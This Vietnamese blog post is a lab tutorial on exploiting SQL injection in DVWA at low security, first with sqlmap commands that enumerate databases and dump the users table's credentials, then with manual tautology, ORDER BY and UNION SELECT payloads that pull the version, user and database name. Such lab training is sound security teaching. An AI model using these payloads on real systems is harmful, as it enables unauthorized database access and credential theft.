Pages

DVWA SQL Injection (low level)


Bài này sẽ sử dụng 2 cách để khai thác:
 1. dùng tool sqlmap (nếu chưa biết, các bạn xem tại đây: huong-dan-su-dung-sqlmap-trong-kali.html)
 2. sử dụng phương pháp thủ công (có thể xem ví dụ khác tại: đây)



Phần 1: Dùng tool sqlmap

Lấy các thông tin: url, Cookie sử dụng wireshark


Bước 1: Trước tiên, chúng ta đi tìm Database cần khai thác.
-u : URL  của website  mục tiêu
--dbs : liệt kê danh sách các database

Đây là command:
 sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'"--cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" --dbs


Bước 2: Tiếp đến, chúng ta lựa chọn database với -D , và liệt kê bảng trong database với --tables

sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa --tables


Bước 3: chúng ta chọn bảng với -T và liệt kê cột với --columns

sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa -T users --columns


Bước cuối cùng: sử dụng tham số -C để chọn cột user và password; và sử dụng --dump để đọc dữ liệu của cột ==> Việc còn lại là ngồi uống cafe  và lấy thông tin.

sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa -T users -C user,password --dump


kết quả tìm được: user/pass là admin/password

Phần 2: làm thủ công

Chúng ta thử đánh 1 số vào text box.
Như bạn thấy, 1 số thông tin được xuất ra màn hình. Theo cơ chế này thì kết quả được lấy ra từ database từ giá trị được nhập vào textbox và xuất ra màn hình. Câu truy vấn sql sẽ như sau:
           SELECT first_name, last_name FROM users WHERE user_id = '$ id'; 

Bây giờ thay vì nhập 1 thì nhập 1' . Tương ứng với truy vấn sql

SELECT first_name, last_name FROM users WHERE user_id = ' 1 ' ; 

SELECT first_name, last_name FROM users WHERE user_id = ' 1 ' ; 

Lúc này trang web sẽ xảy ra lỗi.

Bây giờ, chúng ta nhập vào textbox nội dung sau: 99 'or' 1 '=' 1 '#
lệnh sql sẽ là:
SELECT first_name, last_name FROM users WHERE user_id = ' 99 'or' 1 '=' 1 '# ' ; 

- số 99 ở trên không quan tâm, chúng ta có thể nhập bất cứ số nào.
- '1' = '1' thì có ý nghĩa (chưa rõ thì xem lại các bài sql injection trước đây) đây là phép toán luôn đúng. Nên nó sẽ thực thi truy vấn nay.
[hình]

Tìm số cột của database bằng ORDER BY

SQL query : select ... WHERE ... ORDER BY..
nếu có báo lỗi :  Unknow column 'xx' in 'order clause' thì số cột sẽ là xx-1
Bây giờ, chúng ta thử lần lượt từ 1. Nhập vào textbox như sau:
99 'or' 1 '=' 1' order by 1#   ==> không lỗi
99 'or' 1 '=' 1' order by 2#   ==> không lỗi
99 'or' 1 '=' 1' order by 3#   ==> xảy ra lỗi
==> vậy có 2 cột trong database hiện tại đang sử dụng.

Sử dụng UNION để khai thác thêm

Nhập vào textbox: 99 'or' 1 '=' 1 'UNION Select 1,2 # 
==> tất cả các hàng sẽ được xuất ra màn hình.

Bây giờ tìm version() của database
     99 'or' 1 '=' 1 'UNION Select 1,version() # 

Tìm user : 99 'or' 1 '=' 1 'UNION Select 1,user() # 

Tìm database: 99 'or' 1 '=' 1 'UNION Select 1,database() # 
Tìm thư mục cài đặt database : 99 'or' 1 '=' 1 'UNION Select 1,@@datadir() # 

còn tiếp...
thudinh Network and Security

No comments:

Adsense

Translate